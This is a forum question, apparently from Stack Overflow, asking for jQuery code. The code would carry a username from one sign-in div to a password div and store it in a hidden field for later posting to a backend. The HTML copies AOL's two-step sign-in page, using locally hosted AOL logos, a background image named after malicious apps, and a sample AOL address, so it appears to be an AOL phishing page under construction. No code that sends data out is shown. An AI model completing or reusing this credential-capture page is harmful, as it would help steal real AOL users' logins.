title: How to pass data from input textfield in div1 and display it in div2 and also save the same data in input type="hidden"
body: <p>i have a question to ask.
  I want to pass the value from the textbox in Div1 to the textbox in div2 and then save the same value as hidden so i can post the information later to my backend REST api or call the action to submit and authenticate from the Database.</p>
  <p>the Div where I am fetching the information from is looking like this :</p>
  <pre><code>            &lt;div id=&quot;loginU&quot;&gt;
                  &lt;img src=&quot;../aol_new/images/aol-logo-black-v.0.0.2.png&quot; height=&quot;34px&quot; width=&quot;85px&quot; class=&quot;logoArea&quot; /&gt;&lt;/br&gt;
                  &lt;p style=&quot;font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;&quot;&gt;Sign in&lt;/p&gt;&lt;/br&gt;
                  &lt;input type=&quot;text&quot; placeholder=&quot; Username, email, or phone&quot; style=&quot;width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;&quot;/&gt;&lt;/br&gt;
                  &lt;input type=&quot;submit&quot; value=&quot;Next&quot; id=&quot;btn1&quot; style=&quot;width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f&quot; /&gt;
              &lt;/div&gt;
  </code></pre>
  <p>and when it gets the information from the textbox it should display here on the second div here</p>
  <pre><code>            &lt;div id=&quot;loginP&quot; class=&quot;hide&quot;&gt;
                  &lt;img src=&quot;../aol_new/images/aol-logo-black-v.0.0.2.png&quot; height=&quot;34px&quot; width=&quot;85px&quot; class=&quot;logoArea&quot; /&gt;&lt;/br&gt;
                  &lt;p style=&quot;font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;&quot;&gt;james_hall@aol.com&lt;/p&gt;
                  &lt;p style=&quot;font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;&quot;&gt;Enter Password&lt;/p&gt;
                  &lt;p style=&quot;font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;&quot;&gt;to finish sign in&lt;/p&gt;&lt;/br&gt;
                  &lt;input type=&quot;password&quot; placeholder=&quot; Password&quot; style=&quot;width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;&quot;/&gt;&lt;/br&gt;
                  &lt;input type=&quot;submit&quot; value=&quot;Next&quot; style=&quot;width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f&quot; /&gt;
              &lt;/div&gt;
  </code></pre>
  <p>My code is looking something like this</p>
  <pre><code>&lt;html&gt;
  
  &lt;head&gt;
            &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js&quot;&gt;&lt;/script&gt;
            &lt;script&gt;
               $(document).ready(function(){
                  $(&quot;#btn1&quot;).click(function(){
                      $(&quot;#loginU&quot;).toggle();
                      $(&quot;#loginP&quot;).toggle();
                  });
               });
            &lt;/script&gt;
             &lt;style&gt;
               .hide{
               display:none;
               }
               
               .loginTable
              {   
                  margin-top: 15px;
                 float: right;
                 background-color: white;
                 position:absolute; 
                 overflow:hidden; 
                 left:906px; 
                 top:100px; 
                 width:365px; 
                 height:581px;
              }
              .logoArea
              {
                  margin-top: 35px;
              }
              
              .signInheader___{
                  position:absolute; 
                  overflow:hidden; 
                  left:1040px; 
                  top:198px; 
                  width:63px; 
                  height:35px;
              }
            &lt;/style&gt;
              &lt;link rel=&quot;stylesheet&quot; href=&quot;styles.css&quot;&gt;
  &lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;en-us&quot;&gt;
  &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1252&quot;&gt;
  &lt;title&gt;New Page 1&lt;/title&gt;
  &lt;/head&gt;
  
  &lt;body&gt;
  
  &lt;div align=&quot;center&quot;&gt;
      &lt;table border=&quot;0&quot; width=&quot;100%&quot;&gt;
          &lt;tr&gt;
              &lt;td height=&quot;57&quot;&gt;&amp;nbsp;
              &lt;img border=&quot;0&quot; src=&quot;../aol_new/images/aol-logo-black-v.0.0.2.png&quot; width=&quot;106&quot; height=&quot;43&quot;&gt;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
              &lt;td&gt;&amp;nbsp;&lt;/td&gt;
          &lt;/tr&gt;
          &lt;tr&gt;
              &lt;td&gt;
              &lt;div align=&quot;center&quot;&gt;
                  &lt;table border=&quot;0&quot; width=&quot;100%&quot; background=&quot;../aol_new/images/AOL_MaliciousApps_platform___Norton.jpg&quot; height=&quot;1020&quot;&gt;
                      &lt;tr&gt;
                          &lt;td&gt;&amp;nbsp;&lt;/td&gt;
                      &lt;/tr&gt;
                      &lt;div class=&quot;loginTable&quot;&gt;
                      &lt;div id=&quot;loginU&quot;&gt;
                          &lt;img src=&quot;../aol_new/images/aol-logo-black-v.0.0.2.png&quot; height=&quot;34px&quot; width=&quot;85px&quot; class=&quot;logoArea&quot; /&gt;&lt;/br&gt;
                          &lt;p style=&quot;font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;&quot;&gt;Sign in&lt;/p&gt;&lt;/br&gt;
                          &lt;input type=&quot;text&quot; placeholder=&quot; Username, email, or phone&quot; style=&quot;width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;&quot;/&gt;&lt;/br&gt;
                          &lt;input type=&quot;submit&quot; value=&quot;Next&quot; id=&quot;btn1&quot; style=&quot;width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f&quot; /&gt;
                      &lt;/div&gt;
                      &lt;div id=&quot;loginP&quot; class=&quot;hide&quot;&gt;
                          &lt;img src=&quot;../aol_new/images/aol-logo-black-v.0.0.2.png&quot; height=&quot;34px&quot; width=&quot;85px&quot; class=&quot;logoArea&quot; /&gt;&lt;/br&gt;
                          &lt;p style=&quot;font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;&quot;&gt;Data passed from div1 should show here&lt;/p&gt;
                          &lt;p style=&quot;font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;&quot;&gt;Enter Password&lt;/p&gt;
                          &lt;p style=&quot;font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;&quot;&gt;to finish sign in&lt;/p&gt;&lt;/br&gt;
                          &lt;input type=&quot;password&quot; placeholder=&quot; Password&quot; style=&quot;width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;&quot;/&gt;&lt;/br&gt;
                          &lt;input type=&quot;submit&quot; value=&quot;Next&quot; style=&quot;width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f&quot; /&gt;
                      &lt;/div&gt;
                      &lt;/div&gt;
                  &lt;/table&gt;
              &lt;/div&gt;
              &lt;/td&gt;
          &lt;/tr&gt;
      &lt;/table&gt;
  &lt;/div&gt;
  
  &lt;/body&gt;
  
  &lt;/html&gt;
  </code></pre>
  <p>How do I go about this? I am kind of very new to using Jquery. So i need some clarification here.</p>